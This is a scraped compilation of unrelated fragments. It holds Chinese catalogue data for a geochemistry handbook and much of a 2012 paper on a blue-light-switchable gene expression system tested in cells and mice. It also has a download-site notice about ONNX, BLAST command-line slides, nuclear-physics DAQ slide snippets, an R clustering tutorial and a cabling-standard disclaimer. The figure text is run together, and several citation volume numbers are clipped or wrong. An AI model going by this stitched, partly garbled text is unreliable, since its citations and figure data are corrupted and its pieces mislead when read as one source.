图书在版编目（CIP）数据应用地球化学元素丰度数据手册/迟清华，鄢明才编著. －北京：地质出版社，2007.12ISBN 978－7－116－05536－0Ⅰ. 应… Ⅱ. ①迟…②鄢…Ⅲ. 地球化学丰度－化学元素－数据－手册Ⅳ. P595－62中国版本图书馆CIP数据核字（2007）第185917号责任编辑：王永奉陈军中责任校对：李玫出版发行：地质出版社社址邮编：北京市海淀区学院路31号，100083电话：（010）82324508（邮购部）网址：电子邮箱：zbs@传真：（010）82310759印刷：北京地大彩印厂开本：889mm×1194mm 1/16印张：10.25字数：260千字印数：1－3000册版次：2007年12月北京第1版•第1次印刷定价：28.00元书号：ISBN 978－7－116－05536－0（如对本书有建议或意见，敬请致电本社；如本社有印装问题，本社负责调换）2关于应用地球化学元素丰度数据手册（代序）地球化学元素丰度数据，即地壳五个圈内多种元素在各种介质、各种尺度内含量的统计数据。

它是应用地球化学研究解决资源与环境问题上重要的资料。

将这些数据资料汇编在一起将使研究人员节省不少查找文献的劳动与时间。

这本小册子就是按照这样的想法编汇的。

Spatiotemporal control of gene expression by a light-switchable transgene system

©2012 N a t u r e A m e r i c a , I n c . A l l r i g h t s r e s e r v e d.nature methods | ADVANCE ONLINE PUBLICATION | and a dimerization domain. Removal of the dimerization domain to create Gal4(65), which contains Gal4 residues 1–65, virtually eliminates binding to its consensus cognate DNA sequence, the upstream activating sequence of Gal (UASG )12. Vivid (VVD), the smallest light-oxygen-voltage (LOV) domain–containing protein, forms a rapidly exchanging dimer upon blue-light activation 13–15. We reasoned that the DNA-binding property of a Gal4(65)-VVD fusion protein would be light-switchable, as light should induce dimerization of the fusion protein, enhance binding to the UASG sequence and activate transcription and removing the light should result in gradual dissociation of the dimers, DNA dissociation and inactivation (Fig. 1a ). Indeed, an electrophoretic mobility shift assay showed that Gal4(65)-VVD dimerized upon 15 W m −2 constant blue-light illumination and bound the UASG sequence (Fig. 1b ).Purified Gal4(65)-VVD had similar spectra to VVD 13 in dark orlight states (Supplementary Fig. 1). These data suggested that the VVD domain in the fusion protein was correctly folded and was bound by flavin adenine dinucleotide (FAD) and that light illumination induced Gal4 dimerization and binding to UASG .To create a system capable of driving light-activated transcrip-tion, we fused different transactivation domains to the C terminus of Gal4(65)-VVD (Fig. 1a and Supplementary Fig. 2). We tested their light-dependent impact on transcriptional activity of a firefly luciferase (Fluc ) reporter driven by Gal4 binding sites upstream of a TATA box after transient transfection in HEK293 cells, illumina-tion with 0.84 W m −2 460 nm peak light from an LED lamp for 22 h and measurement of expression. Transactivators containing the p65 activation domain (GAVP) or the VP16 activation domain (GAVV) both showed marked light-induced reporter gene transcription, but the GAVP transactivator resulted in much greater gene expression under light exposure conditions (Fig. 1c and Supplementary Fig. 3). Mutation of Cys108 in VVD to serine blocked light-inducible gene expression as expected 13 (Fig. 1c and Supplementary Fig. 3). Mutation of Cys71 to valine in VVD is known to enhance the sta-bility of the light-induced VVD dimer 14, and based on the crystal structure of VVD 13 we hypothesized that mutating Gln56 of VVD to lysine would form a salt bridge with Asp68 of the other VVD protein and additionaly stabilize the dimer. Both dimer-enhancing mutations, C71V and N56K, in the VVD domain decreased reporter gene expression in the dark, whereas the N56K,C71Vd ouble mutant (optimized GAVP (GAVPO)) additionally decreased the background gene expression to a minimal level (Fig. 1c and Supplementary Note ). We used GAVPO in all subsequent studies, and we referred to the gene promoter system based on GAVPO as the light-on (LightOn) system.We compared the LightOn system to human cytomegalovirus immediate early promoter (CMV )-based induction of reporterspatiotemporal control of gene expression by a light-switchable transgene systemXue Wang, Xianjun Chen & Yi YangWe developed a light-switchable transgene system based on a synthetic, genetically encoded light-switchable transactivator. the transactivator binds promoters upon blue-light exposure and rapidly initiates transcription of target transgenes in mammalian cells and in mice. this transgene system provides a robust and convenient way to spatiotemporally control gene expression and can be used to manipulate many biological processes in living systems with minimal perturbation.Regulated transgene systems are indispensable tools in biomedical research and biotechnology. During the past decade, chemically regulated gene expression systems 1,2 have been widely used for the temporal control of gene expression. However, as these small molecular inducers diffuse freely and are hard to remove, it is not possible to precisely switch on and off gene expression at an exact location and time. In contrast to chemicals, light is an ideal inducer of gene expression because it is easy to obtain, highly tunable, non-toxic and, most importantly, has high spatiotemporal resolution. A light-switchable gene expression system could be the most prom-ising tool for precisely controlling spatiotemporal gene expression in multicellular organisms. There have been several efforts to con-trol gene expression using light. Caged transactivator or chemi-cal inducers that are activated by UV light have been developed, allowing study of gene function in developing embryos 3–5. Infrared laser light was used to induce heat shock–mediated expression of transgenes 6. Recently, synthetic approaches have been developed to regulate gene expression by light illumination using genetically encoded light sensors 7–11.Uptake of these methodologies by biolo-gists has been minimal, however, probably because of technical complexities or limitations. We sought to develop a simple robust transgene system that is directly regulated by a single genetically encoded, photosensitive transactivator.To create a light-switchable gene promoter system, it is necessary to first design a DNA-binding domain that is activated by light. The well-characterized DNA-binding domain comprising Gal4 residues 1–147, Gal4(147), consists of a DNA-recognition elementSynthetic Biology and Biotechnology Laboratory, State Key Laboratory of Bioreactor Engineering, School of Pharmacy, East China University of Science and Technology, Shanghai, China. Correspondence should be addressed to Y.Y. (yiyang@).Received 19 July 2011; accepted 28 decembeR 2011; published online 12 febRuaRy 2012; doi:10.1038/nmeth.1892©2012 N a t u r e A m e r i c a , I n c . A l l r i g h t s r e s e r v e d . | ADVANCE ONLINE PUBLICATION | nature methodsbrief communicationsvectors driving Fluc , Gaussia princeps luciferase (Gluc), humanized recombinant GFP (hrGFP) or monomeric (m)Cherry protein expression by transient transfection of vectors encoding all components into HEK293 cells and light exposure as described above (Fig. 1d and Supplementary Figs. 4 and 5). We con-firmed that light-mediated activation required all components by western blots of Gluc (Fig. 1e ). We routinely observed 200–300-fold induction of Fluc and Gluc in our experiments and a similarly high on/off ratio of gene expression and induction efficiency of LightOn system in other cells lines (Fig. 1f ). The blue-light irradiation had little effect on expression of proteins whose tran-scription was driven by CMV promoter (Fig. 1d ), suggesting that the LightOn system has minimal interference with or toxicity to normal cellular function.We investigated the time course of light-induced Gluc tran-scription using quantitative real-time PCR. Cellular Gluc mRNA amounts increased 13-fold and 81-fold after 0.5 h and 1 h of light induction, with respect to samples not exposed to light (Fig. 2a ) followed by an increase in secreted Gluc protein ~1 h later (Fig. 2b ). Removal of light resulted in a slow decay in the amount of Gluc mRNA and a plateau in the amount of protein when we did not change the medium (Fig. 2a ,b ). Gluc expression depended on the duration of illumination, but a 30-min illumination was suf-ficient for ~25-fold induction of Gluc protein above background expression 10 h after initial illumination (Supplementary Fig. 6). Off expression kinetics of Gluc mRNA suggested that GAVPO was kept in the activated state with a half life of 2 h (Supplementary Fig. 7), which is similar to that of VVD (half life of ~18,000 s)16.GAVP VVD domain mutantsaW i l t y p e C 108N 56C 71N56K ,C7152383831171027652GAVPOGlucActinpGAVPO Light pU5-Gluc Size (kDa) e R e l a t i v e e x p r e s s i o n (%)f +++++––––––––––++++++MC F -7He pG 2MDA -MB -231P C -3dR e l a t i v e e x p r e s s i o n (%)figure | LightOn gene expression system. (a ) Schematic representation of the LightOn system. After light activation, GAVP homodimerizes, interactswith UASG elements (5xUASG) and initiates expression of the gene of interest. (b ) Electrophoretic mobility shift assay of binding between Gal4(65)-VVD (at indicated concentrations) and UASG DNA probe (125 nM)in the dark (left) or under 15 W m −2 constant blue light (right). (c ) Light- dependent activation of Fluc reporters based on GAVP with different mutations to enhance dimerization. (d ) Comparison of induction various reporters betweenthe LightOn system with GAVPO-driven genes and conventional vectors with CMV -driven genes. Fluc activity, hrGFP fluorescence and mCherry fluorescence in cell lysate were measured by chemiluminescence and fluorescence assay,respectively. Gluc activity in cell culture medium was measured by a chemiluminescence assay. The data in c and d were normalized to the expression levels of the same reporter protein expressed from vectors with CMV promotersin the dark. (e ) Western blot of the Gluc expression in HEK293 cells transiently transfected with pGAVPO and pU5-Gluc under light or dark conditions. (f ) Light-switchable Gluc expression from pGAVPO in different cell lines. The data were normalized to the expression of the same reporter protein expressed from the CMV promoter under light-on conditions. (c ,d ,f ) Error bars, mean ± s.e.m. (n = 4 samples) from the same experiment. Six (c ) or ten (d –f ) hours after transfection, cells were illuminated by 0.84 W m −2 blue light or remained in the dark for 22 h before measurements.Time (h)G l u c m R N A f o l d o f i n d u c t i o naTime (h)5.0 × 1071.0 × 1081.5 × 108bG l u c a c t i v i t y (R L U )Number of pulsesG l u c a c t i v i t y (R L U )4.0 × 108.0 × 101.2 × 101.6 × 10cG l u c a c t i v i t y (R L U )Pulse length (s)2 × 104 × 106 × 10dfigure | Time course of light-switchable gene expression using LightOn in HEK293 cells transiently transfected with pGAVPO and pU5-Gluc. (a ) Cellular Gluc mRNA level measured at indicated times in the dark, after illumination under continuous 0.84 W m −2 blue light or after illumination under 0.84 W m −2 blue light for 2 h and then in the dark (light-dark). (b ) Expression kinetics of the Gluc reporter in cell culture medium measured at indicated times in the dark, after illumination under continuous 0.84 W m −2 blue light or after illumination under blue light for 15 h and then in the dark (light-dark).Insets, kinetics of Gluc mRNA (a ) or protein activity (b ) during the 4 h or 3 h after the initial light exposure, respectively. (c ,d ) Gluc activity in medium, measured 4 h after the initial light exposure to blue-light pulses (c ; 10 s pulses, 22 W m −2, 8 min apart) or to a single blue-light pulse of varying duration (22 W m −2). RLU, relative luciferase units. Error bars, mean ± s.e.m. (n = 4 samples) from the same experiment.©2012 N a t u r e A m e r i c a , I n c . A l l r i g h t s r e s e r v e d .nature methods | ADVANCE ONLINE PUBLICATION | brief communicationsThis led to continued mRNA synthesis during the first few hours after turning the light off (Fig. 2a ). The estimated half life of Gluc mRNA was 10 h (Supplementary Fig. 7), which explained the continuous increase in the amount of Gluc in the medium after light was turned off for another 20 h (Fig. 2b ). To increase the off rate of the system we modified the 3′ untranslated region of the Gluc reporter gene by inserting the conserved AU-rich element (ARE) from the gene encoding GM-CSF, which medi-ates selective degradation of mRNA 17. Expression of Gluc-ARE stopped much earlier than did expression of the original Gluc gene (Supplementary Fig. 8). We also investigated the capacity to activate the LightOn system by short pulses of light and observed a strong dose dependence on the number of pulses and the dura-tion of a single pulse, showing that continuous illumination is unnecessary (Fig. 2c ,d ).We next tested the ability of the LightOn system to induce graded protein expression in cells by controlling the irradiance (Fig. 3 and Supplementary Figs. 9 and 10). To spatially control gene expression in cultured cells, we illuminated in a specific pat-tern HEK293 cells transfected with mCherry reporter and GA VPO . The mCherry fluorescence image of the cells had the pattern of the original image used as the mask (Supplementary Fig. 11).These data indicate that the LightOn system can be robustly used to quantitatively, spatially and temporally control gene expression in mammalian cells.Finally, we validated the LightOn system in vivo . We transferred GA VPO and mCherry reporter vector into the livers of mice using a hydrodynamic procedure. Exposure of the mice to blue light from below resulted in the appearance of marked fluorescence from mCherry protein in their livers (Fig. 4a ). Light-dependent transgene expression was limited to the anterior side and poste-rior lining of liver that received sufficient blue light irradiance, in contrast to controls transfected with pcDNA3.1 vector containing the mCherry gene driven by a CMV promoter that resulted in homogenous expression (Fig. 4a ). Light-induced expression of the mCherry gene in the liver was limited to 1 mm or less from the surface (Fig. 4b ). Spatial control of gene expression in the liver was possible with localized illumination using optical fibers (Supplementary Fig. 12).We then used the LightOn system for Cre recombinase–m ediated LacZ activation in Gt(ROSA)26Sor (ROSA26)-LacZ mice transfected with pGAVPO and pU5-Cre vectors. We observed LacZ expression in the liver after illumination with90 mW cm −2 blue light for 22 h and 48 h in the dark but not incontrol mice kept only in the dark (Fig. 4c ). This suggests that light-mediated, tissue-specific expression should be possible. As a very preliminary proof-of-principle demonstration of the poten-tial of our system for regulated gene or cell therapy, we transfected type I diabetic mice with pGAVPO and pU5-insulin vectors and observed that blue-light illumination caused a large drop of blood glucose compared to mice transfected with the vector encoding the nonfunctional GAVPO mutant (Fig. 4d ).An ideal regulated gene expression system should have low background expression, low toxicity, low interference with endogenous proteins or genes and the capacity for temporal and spatial control, and should be easy to manipulate. Most existing systems 3,5–11, however, do not simultaneously satisfy all of these above requirements (Supplementary Table 1). Approaches involv-ing caged activators 3,5 or heating effects 6 are hard to implementLight irradiance (W m –2)0.020.110.210.430.83figure | Graded response of mCherry expression under different blue-light irradiances. Ten hours after transfection of mCherry reporter andGAVPO vectors, cells were illuminated by blue light of indicated irradiances adjusted by neutral density filters for 22 h before determination.Fluorescence images are shown. Scale bar, 0.5 cm.aAnterior viewpcDNA3.1-mCherry; darkpU5-mCherry and pGAVPO; darkNo vector;darkpU5-mCherry and pGAVPO;blue lightFluorescenceFluorescencePosterior view bWhite lightcB l o o d g l u c o s e (m M )dAnterior viewPosterior viewDark LightWhite lightpcDNA3.1-mCherry;darkpU5-mCherry and pGAVPO;blue lightFluorescenceLightfigure 4 | Light-switchable transgene expression in mice. (a ,b ) Light induced mCherry transgene expression inwhole livers or kidneys (a ) or in cryosections (b ). Mice were transfected with no vector, pU5-mCherry andpGAVPO or pcDNA3.1-mCherry; then illuminated with 90 mW cm −2 blue light for 22 h or remained in the dark. Mice were then killed, and their livers and kidneys were dissected for mCherry fluorescence imaging. Scale bar, 1 cm (a ) and 0.5 mm (b ). (c ) Images of whole-mount X-gal staining of the lacZ expression in livers of ROSA26-LacZ reporter mice transfected with pGAVPO and pU5-Cre. Mice were illuminated with 90 mW cm −2 blue light for 22 h and then kept in the dark for another 48 h before measurements. Control mice receivedno light. Scale bar, 0.5 cm. (d ) Diabetic mice induced by streptozotocin were transfected with pU5-insulin together with pGAVPO or pGAVPO(C108S), which encodes the nonfunctional mutant. Mice were illuminatedwith 90 mW cm −2 blue light or kept in dark for 8 h. Glucose levels were measured after the mice rested in the dark for another 4 h with sufficient food. Error bars, s.e.m. (n = 8–10) from two independent experiments; statistics by two-tailed t test. *P < 0.04 versus ‘dark’ control; **P < 0.0002 versus ‘dark’ control.©2012 N a t u r e A m e r i c a , I n c . A l l r i g h t s r e s e r v e d .4 | ADVANCE ONLINE PUBLICATION | nature methodsbrief communicationsand manipulate, and are associated with potential problems of cell injury or side effects resulting from the UV-light irradiance or heat shock used to activate gene expression. The LightOn system reported here is based on a genetically encoded light sensor that uses FAD as a photon acceptor 13 and offers obvious advantages compared to the above techniques. As FAD naturally exists in cells, it is unnecessary to treat cells with extraneous ligands that are required by phytochrome 7 or caged activators 3,5. The single- chain 56-kDa genetically encoded light-switchable transactivator in the LightOn system, which operated through homodimeriza-tion, additionally reduced the complexity of the multicomponent gene expression methodologies based on two-hybrid technologies previously reported for yeast 7,10 or mammalian cells 9. Recently, a well-designed synthetic light-regulated circuit has been reported to regulate gene expression in transgenic cells and blood-glucose homeostasis in mice 11. However, as this technique is based on coupling an exogenously expressed blue light–induced melan-opsin receptor to major existing cellular signaling players such as phospholipase, phosphokinase and calcium, it suffers from low on/off ratio of gene expression and mutual interference with endogenous signaling events that may limit its usage. In contrast, the LightOn system is orthogonal to mammalian cellular signal-ing, which should allow tighter control with minimal perturba-tion of, or from, existing signaling pathways.There are many other advantages of the LightOn gene expres-sion system reported here. LightOn has low background and allows high induction with reasonably fast kinetics and revers-ibility. We showed that continuous illumination was not necessary to activate LightOn, and single brief pulses of light were sufficient. This was possible owing to the high induction level and low back-ground we observed. Because of the unusually stable photoacti-vated state of VVD 16, the LightOn system is extremely sensitive to light, thus minimizing any potential toxicity of blue-light irradi-ance on cells. We observed a fourfold increase in Fluc expression when we irradiated cells with blue light five orders of magnitude lower than the sun’s irradiance. These characteristics provide the capability for gene activation with good spatial, temporal and quantitative control in an easy-to-use and robust system. LightOn should be a powerful yet convenient tool for life science research, allowing spatial and temporal control of gene expression.In the past three years, optogenetics has become a booming field by using genetically encoded light-sensitive proteins to control the behavior of living cells and organisms 18,19. Most of these tools are based on light-gated ion channels, light-switchable enzymes or protein interactions. The LightOn system provides another general way to control biological processes using light-switchable gene expression, thus avoiding the need for case-by-case protein engineering to create light-regulated protein modules. In addi-tion to its use in mammals, the LightOn gene expression system could be used to control gene expression spatiotemporally in other model eukaryotes such as Danio rerio and Drosophilam elanogaster , in which Gal-UAS systems are already widely used to control cell type–specific gene expression. We anticipate thatthe LightOn system will be widely used in many fields of life sci-ence research and biotechnology that have great demand for high- resolution spatial and temporal control of gene expression.methodsMethods and any associated references are available in the online version of the paper at /naturemethods/.Note: Supplementary information is available on the Nature Methods website.acknoWledgmentsWe thank Z.H. Yu and J.Z. Chen for their suggestions, and Z.M. Du, Z.C. Ma, J.H. Wang, W.T. Zhu, X.Y. Feng and Y.Z. Zhao for technical assistance. This work was supported by the National Natural Science Foundation of China (grants 31170815, 31071260 and 90713026), the 863 Program (grant no. 2006AA02Z160), the Fok Ying Tung Education Foundation (grant 111022), the Program for Professor of Special Appointment (Eastern Scholar) at Shanghai Institutions of Higher Learning, Dawn Program of Shanghai EducationCommission (grant 11SG31), Doctoral Fund of Ministry of Education of China (grant 20100074110010), the Fundamental Research Funds for the Central Universities and the 111 Project (grant B07023).author contributionsY.Y. conceived of the concept; Y.Y., X.W. and X.C. designed the experiments and analysed the data; X.W. preformed the molecular cloning, proteincharacterization and cell culture experiments; X.C. preformed animal studies; and Y.Y. wrote the manuscript.comPeting financial interestsThe authors declare no competing financial interests.Published online at /naturemethods/. reprints and permissions information is available online at /reprints/index.html.1. Braselmann, S., Graninger, P. & Busslinger, M. Proc. Natl. Acad. Sci. USA 90,1657–1661 (1993).2. Gossen, M. et al. Science 68, 1766–1769 (1995).3. Cambridge, S.B., Davis, R.L. & Minden, J.S. Science 77, 825–828(1997).4. Minden, J., Namba, R., Mergliano, J. & Cambridge, S. Sci. STKE 000, l1(2000).5. Cambridge, S.B. et al. Nat. Methods 6, 527–531 (2009).6. Kamei, Y. et al. Nat. Methods 6, 79–81 (2009).7. Shimizu-Sato, S., Huq, E., Tepperman, J.M. & Quail, P.H. Nat. Biotechnol. 0,1041–1044 (2002).8. Levskaya, A. et al. Nature 4 8, 441–442 (2005).9. Yazawa, M., Sadaghiani, A.M., Hsueh, B. & Dolmetsch, R.E. Nat. Biotechnol. 7,941–945 (2009).10. Kennedy, M.J. et al. Nat. Methods 7, 973–975 (2010).11. Ye, H., Daoud-El Baba, M., Peng, R.W. & Fussenegger, M. Science ,1565–1568 (2011).12. Hong, M. et al. Structure 6, 1019–1026 (2008).13. Zoltowski, B.D. et al. Science 6, 1054–1057 (2007).14. Zoltowski, B.D. & Crane, B.R. Biochemistry 47, 7012–7019 (2008).15. Lamb, J.S., Zoltowski, B.D., Pabit, S.A., Crane, B.R. & Pollack, L.J. Am. Chem. Soc. 0, 12226–12227 (2008).16. Zoltowski, B.D., Vaccaro, B. & Crane, B.R. Nat. Chem. Biol. 5, 827–834 (2009).17. Shaw, G. & Kamen, R. Cell 46, 659–667 (1986).18. Deisseroth, K. Nat. Methods 8, 26–29 (2011).19. Fenno, L., Yizhar, O. & Deisseroth, K. Annu. Rev. Neurosci. 4, 389–412(2011).©2012 N a t u r e A m e r i c a , I n c . A l l r i g h t s r e s e r v e d .nature methodsdoi:10.1038/nmeth.1892online methodsDNA cloning. Full length VVD gene was isolated from Neurospora crassa (gift of B. Chen, Guangxi Normal University) genomic DNA with both introns and exons. Introns were removed by reverse PCR. Sequences encoding the Gal4(1–65), and VP16 acti-vation domain was amplified from pBIND and pACT (Promega), respectively. Chimeric fusion construct pGAVV consisting of sequences encoding Gal4(1–65), VVD (37–186) and VP16 acti-vation domain was generated using overlapping PCR and inserted into Eco47III and BsrGI sites in pEGFP-N1 vector. To generate chimeric fusion construct pGAVP , sequence encoding VP16 acti-vation domain of pGAVV was replaced with sequence encoding p65 activation domain residues 286–550, which was isolated from HEK293 cDNA by EcoRI and BsrGI. Site-directed mutagenesis, to generate sequences encoding VVD proteins with mutations C71V , N56K and C108S, was performed on sequence encoding the VVD domain according to the MutanBEST protocol (Takara). The reporter vector pU5-Gluc was generated by overlapping poly(A)–5×UASG -TATA sequence from pG5luc (Promega) and secreted Gluc sequence from pGLuc-basic (NEB), and subsequent ligation into NruI and BamHI sites of pcDNA3.1/Hygro(+) using CloneEZ PCR Cloning kit (Genescript), thereby replacing CMV promoter in pcDNA3.1/Hygro(+) (Invitrogen). The 2×Flag tag was added to C-terminal end of Gluc (added into the gene using BamHI and XbaI) for convenient immunoassay detection. Other reporter vectors including pU5-hrGFP , pU5-Fluc, pU5-mCherry and pU5-Insulin were generated by substituting Gluc with genes encoding humanized recombinant (hr)GFP , Fluc, mCherry and a minimal human proinsulin, respectively. Plasmid pU5-Gluc-ARE was constructed by inserting the ARE of the sequence encoding GM-CSF into 3′ untranslated region of Gluc . A furin consensus cleavage sequence was introduced to the minimal human proin-sulin gene, allowing the translational product to be constitutively processed and secreted in liver cells 20. Genes encoding hrGFP , Fluc, mCherry and insulin were introduced into HindIII and BamHI site of pcDNA3.1/Hygro(+) and Gluc was cloned into pcDNA3.1/V5-His-TOPO (Invitrogen) to obtain CMV promoter–driven genes in expression vectors. To obtain the pU5-Cre vector, the multiple cloning site of pU5-Gluc was replaced, and Cre was introduced into HindIII-Eco47III site of the new vector by sub-stituting Gluc . To construct Escherichia coli expression vector, sequence encoding Gal4(65)-VVD was amplified from pGAVP and inserted into pET-28a(+) using CloneEZ PCR Cloning kit.Protein expression and purification. Gal4(65)-VVD was expressed in E. coli strain JM109 at 18 °C for 24 h under con-stant light in the presence of 0.4 mM IPTG, 10 µM ZnCl 2 and 5 µM FAD. The cell pellet was collected by centrifugation and sonicated in buffer A containing 20 mM Hepes, 0.5 M NaCl, 10 µM ZnCl 2, 20 mM imidazole, 10 mM β-mercaptoethanol and 10% glycerol, pH 7.5. The soluble cell lysate was fractionated by centrifugation. The supernatant was passed over a HisTrap FF column (GE Healthcare) and then washed thoroughly in buffer B containing 20 mM Hepes, 0.5 M NaCl, 50 µM ZnCl 2, 300 mM imidazole, 10 mM β-mercaptoethanol and 10% glycerol, pH 7.5. Proteins were desalted in 20 mM Hepes, 0.15 M NaCl, 20 µM ZnCl 2 and 10% glycerol, pH 7.5, using a HisTrap desalting column (GE Healthcare). After purification, Gal4(65)-VVD was stored at 4 °C and protected from light for recovery in the dark.Electrophoretic mobility shift assay. The probes used were as follows: 5′-TCTTCGGAGGGCTGTCACCCGAATATA-3′ and 5′-ACCGGAGGACAGTCCTCCGG-3′12. All samples containing VVD-derived proteins were prepared under red LED safe light. The DNA was annealed and diluted in 20 mM Hepes and 50 mM NaCl, pH 7.5 (renaturation buffer), to a final reaction DNA duplex concentration of 125 nM. Protein was diluted in renaturation buffer containing 100 µg ml −1 BSA (Jackson ImmunoResearch) by twofold serial dilution from 5.6 µM to 0.34 µM protein in dim red light. Protein and DNA were equilibrated at room tempera-ture (20–25 °C) for 30 min in reaction buffer with an additional5% (w/v) Ficoll either in the dark or with 15 W m −2 constant bluelight. After incubation, the dark and light irradiated samples were separately loaded onto different 6% native polyacrylamide gels in 0.5× Tris-borate buffer and were run at 100 V at 4 °C in the dark or with 15 W m −2 blue-light irradiance, respectively. After electrophoresis, the gel was stained with GelRed nucleic acid gel stain (Biotium) before fluorescence imaging using the In-Vivo Multispectral System FX (Kodak) with 530 nm excitation and 600 nm emission filters. Images of full-length gels from Figure 1b are available in Supplementary Figure 14.Cell culture and blue light irradiation. HEK293, HepG2, MDA-MB-231, MCF7 and PC-3 cells were maintained in high-glucose DMEM (HyClone) supplemented with 10% FBS, penicillin and streptomycin (Invitrogen). Cells were plated in phenol red–free, antibiotic-free high glucose DMEM supplemented with 10% FBS 16 h before transfection. We typically used equal amounts (0.4 µg each) of the light-switchable transactivator and reporter constructs with 2.4 µl Lipofectamine 2000 (Invitrogen) for each well of a 12-well plate according to the manufacturer’s protocol. To estimate the transcription efficiency of the LightOn system, equal amounts of CMV promoter–driven reporter constructs were used to trans-fect the cells as a control. Unless indicated, the transfected cells were kept in the dark for 10 h, and then they were illuminated by0.84 W m –2 (average irradiance) blue light from an LED lamp(460 nm peak) from below or remained in the dark for 22 h before characterization. The LED lamps were controlled with a timer to adjust the overall dose of blue light illumination during the speci-fied period (Supplementary Fig. 13a ). Neutral density filters were used to adjust the light irradiance. To spatially control gene expres-sion in cultured mammalian cells, single layers of HEK293 cells cultured on glass bottom dishes were transiently transfected with an mCherry reporter and the GA VPO transactivator, and then, the cells were illuminated with a spatial pattern using a photomask printed with a specific image for 24 h. LightOn system is sensi-tive to ambient light. One minute exposure to 0.16 W m −2 white fluorescent lamp light lead to substantial induction of gene expres-sion, whereas there was minimal gene induction when cells were illuminated with 630 nm red LED light. In this study, experiment procedures after cell transfection were carried out under red LED light, and cells were cultured inside dedicated CO 2 incubators.Animal experiments. All procedures involving animals were approved by the Institutional Animal Care and Use Committee of Shanghai and were conducted in accordance with the National Research Council Guide for Care and Use of Laboratory Animals. Unless otherwise mentioned, 10 µg of pGAVPO and 300 µg of pU5 vector carrying target gene were transferred into mice by。

linux 中 onnx reference 模块

linux 中 onnx reference 模块下载温馨提示：该文档是我店铺精心编制而成，希望大家下载以后，能够帮助大家解决实际的问题。

文档下载后可定制随意修改，请根据实际需要进行相应的调整和使用，谢谢!并且，本店铺为大家提供各种各样类型的实用资料，如教育随笔、日记赏析、句子摘抄、古诗大全、经典美文、话题作文、工作总结、词语解析、文案摘录、其他资料等等，如想了解不同资料格式和写法，敬请关注!Download tips: This document is carefully compiled by the editor. I hope that after you download them, they can help you solve practical problems. The document can be customized and modified after downloading, please adjust and use it according to actual needs, thank you!In addition, our shop provides you with various types of practical materials, suchas educational essays, diary appreciation, sentence excerpts, ancient poems, classic articles, topic composition, work summary, word parsing, copy excerpts, other materials and so on, want to know different data formats and writing methods, please pay attention!Linux 中 ONNX Reference 模块介绍在深度学习领域，模型的部署和优化一直是研究的焦点。

生物序列的相似性搜索_blast简介和应用

2.Blast介绍 Blast资源和相关问题
3.Blast的应用网络版,单机版
4.深入了解Blast<改进程序,算法基础> 5.其他的序列相似性搜索工具〔fasta
3
生物序列的相似性
相似性<similarity>：是指一种很直接的数量关系,比如部分
相同或相似的百分比或其它一些合适的度量.比如说,A序列和B序列的相似性是 80％,或者4/5.这是个量化的关系.当然可进行自身局部比较.
操作系统
硬件环境〔CPU
linux
sparc
macox
powerPC
solaris
ia32
irix
ia64
aix
amd64
hpux
mips
freebsd
alpha
win32
39
单机版的Blast使用〔三
3.获取Blast数据库 a.直接从ncbi下载
b.用Blast程序包提供的formatdb工具自己格式化序列数据成数据库. 假设有一序列数据〔sequence.fa,多序列,fasta格式,欲自己做成Blast数据库,典型的命令如下：
40
单机版的Blast使用〔四
核酸序列： $ ./formatdb –i sequence.fa –p F –o T/F –n
db_name 蛋白序列： $ ./formatdb –i sequence.fa –p T –o T/F –n
db_name
41
单机版的Blast使用〔五
4.执行Blast比对获得了单机版的Blast程序,解压开以后,如果有了相应的数据库〔db,那么就可以开始执行Blast分析了. 单机版的Blast程序包,把基本的blast分析, 包括blastn,blastp,blastx等都整合到了 blastall一个程序里面.

withanemphasison

directory – You are ready to go!
MSU NSCL DAQ School—Notre Dame 2006
More to Read
• MSU NSCL DAQ:
– Everything: /daq/index.php
– Software project: /projects/nscldaq
– Tree parameter GUI for powerful manipulation of the definition of parameters, spectra, variables, and gates
– Xamine for easy display and operations of histograms – Tcl/Tk for user-tailorable control GUI and easy extension of
SpectroDaq Data Server
SpecTcl Xamine
Scalers
Scaler Configuration
offline analysis
MSU NSCL DAQ School—Notre Dame 2006
Disk
Hardware Setup
¾ Caen v785, 32-ch ADC ¾ Caen v775, 32-ch TDC ¾ Caen v830, 32-ch Scaler ¾ Trigger to be upgraded
• SpecTcl
– Home: /daq/spectcl/ – Project: /projects/nsclspectcl – Tree Parameters:
/daq/spectcl/treeparam/TreeParameter.html – Tcl/Tk: /

consensusclusterplus提取亚型 -回复

consensusclusterplus提取亚型-回复[ConsensusClusterPlus提取亚型] - 一步一步回答ConsensusClusterPlus是一种用于从基因表达数据中提取亚型的数据挖掘工具。

在本文中，我们将一步一步地介绍如何使用ConsensusClusterPlus来提取亚型，并讨论其在生物医学研究中的应用。

第一步：数据准备在使用ConsensusClusterPlus之前，我们首先需要准备用于分析的基因表达数据。

该数据可以是来自任何生物医学研究的高通量基因表达实验，如微阵列或RNA测序数据。

确保数据已经被预处理，并完成了基本的质控和标准化。

第二步：安装和加载ConsensusClusterPlus ConsensusClusterPlus是一个R语言包，因此需要先安装R编程环境。

在安装R之后，可以通过使用以下命令来安装ConsensusClusterPlus包：install.packages("ConsensusClusterPlus")成功安装包后，可以使用以下命令加载ConsensusClusterPlus包：library(ConsensusClusterPlus)第三步：数据输入和预处理要使用ConsensusClusterPlus进行亚型提取，需要将数据导入到R中。

这可以通过将数据保存为适当的格式，例如一个数据框中的表格或一个矩阵文件，并使用下面的命令读取数据：data <- read.table("data.txt", header = TRUE, sep = "\t")确保数据包含适当的样本和基因信息，并按照所需的格式进行排列。

第四步：运行ConsensusClusterPlus现在，我们可以使用ConsensusClusterPlus对数据进行亚型聚类分析。

在分析之前，需要设置一些参数，例如聚类方法、重复次数和聚类数目。

ANSI-TIA-EIA-568-B.2-1 Cat.6 June 20 2002

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This Standard does not purport to address all safety problems associated with its use or all applicable regulatory requirements. It is the responsibility of the user of this Standard to establish appropriate safety and health practices and to determine the applicability of regulatory limitations before its use.
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4626_Guidelines_vol_7_Safety

